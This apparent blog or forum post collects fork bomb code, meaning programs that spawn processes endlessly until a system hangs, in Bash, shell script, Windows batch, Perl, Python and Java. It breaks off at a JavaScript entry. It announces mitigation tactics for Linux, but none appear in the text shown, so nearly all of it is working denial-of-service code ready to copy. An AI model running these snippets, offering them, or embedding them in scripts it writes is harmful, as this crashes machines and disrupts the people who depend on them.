fork-bomb in several language implements
anyone that has worked with Linux for any amount of time, the word fork bomb will be familiar. However, it's not just a terminal command. Below are some implementations in other languages, followed by mitigation tactics for Linux distros. BASH $ :(){ :|: & };: .sh (Shell file) #!/bin/bash ./$0|./$0& .bat (Windows bat implements) :TOP start "" %0 goto TOP ~OR~ %0|%0 #below is the same, but done in command line using ^ to escape specials: echo %0^|%0 > forkbomb.bat forkbomb.bat .pl (Perl implement) #! /bin/perl perl -e "fork while fork" & .py (Python implement) #! /bin/py import os while 1: os.fork() (Java implement) public class ForkBomb { public static void main(String[] args) { while(true) { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); } } } .js...
